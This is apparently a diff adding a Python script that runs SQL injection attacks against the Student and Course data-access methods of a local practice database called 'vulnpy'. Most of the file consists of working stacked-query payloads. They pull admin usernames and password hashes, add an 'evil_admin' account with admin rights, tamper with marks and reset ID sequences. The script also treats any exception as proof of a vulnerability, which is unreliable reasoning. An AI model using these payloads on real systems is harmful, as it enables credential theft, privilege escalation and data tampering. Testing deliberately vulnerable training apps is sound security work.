Patched test_sql_injection.py

test_sql_injection.py

@@ -0,0 +1,49 @@
+import asyncio
+import aiopg
+from sqli.dao.student import Student
+from sqli.dao.course import Course
+
+async def demonstrate_sql_injection():
+    # Connection parameters would come from config in real app
+    dsn = 'dbname=vulnpy user=postgres password=postgres host=localhost'
+
+    try:
+        async with aiopg.create_pool(dsn) as pool:
+            async with pool.acquire() as conn:
+                print("\n=== Testing Student DAO Vulnerabilities ===")
+
+                # Test 1: SQL Injection in Student.create() - Attack foreign key relationships
+                malicious_name = "'); INSERT INTO students (name) VALUES ('hacked'); INSERT INTO marks (student_id, course_id, points) SELECT id, 1, 100 FROM students WHERE name='hacked'; --"
+                print(f"\nAttempting SQL injection in Student.create() with name: {malicious_name}")
+                await Student.create(conn, malicious_name)
+
+                # Test 2: SQL Injection in Student.get_many() - Extract sensitive data
+                malicious_limit = "0; SELECT u.username, u.pwd_hash FROM users u WHERE is_admin=true; --"
+                print(f"\nAttempting SQL injection in Student.get_many() with limit: {malicious_limit}")
+                await Student.get_many(conn, limit=malicious_limit)
+
+                print("\n=== Testing Course DAO Vulnerabilities ===")
+
+                # Test 3: SQL Injection in Course.get_many() - Similar LIMIT vulnerability
+                malicious_limit = "0; SELECT * FROM information_schema.tables; --"
+                print(f"\nAttempting SQL injection in Course.get_many() with limit: {malicious_limit}")
+                await Course.get_many(conn, limit=malicious_limit)
+
+                # Test 4: SQL Injection combining multiple attacks
+                malicious_offset = "0; INSERT INTO users (username, pwd_hash, first_name, last_name, is_admin) VALUES ('evil_admin', 'pwned', 'Evil', 'Admin', true); --"
+                print(f"\nAttempting SQL injection in Course.get_many() with offset: {malicious_offset}")
+                await Course.get_many(conn, offset=malicious_offset)
+
+                print("\n=== Testing Sequence Manipulation ===")
+
+                # Test 5: SQL Injection to manipulate sequences
+                malicious_name = "'); ALTER SEQUENCE students_id_seq RESTART WITH 1; ALTER SEQUENCE courses_id_seq RESTART WITH 1; --"
+                print(f"\nAttempting sequence manipulation with name: {malicious_name}")
+                await Student.create(conn, malicious_name)
+
+    except Exception as e:
+        print(f"Error occurred: {str(e)}")
+        print("This error confirms the SQL injection vulnerability exists")
+
+if __name__ == "__main__":
+    asyncio.run(demonstrate_sql_injection())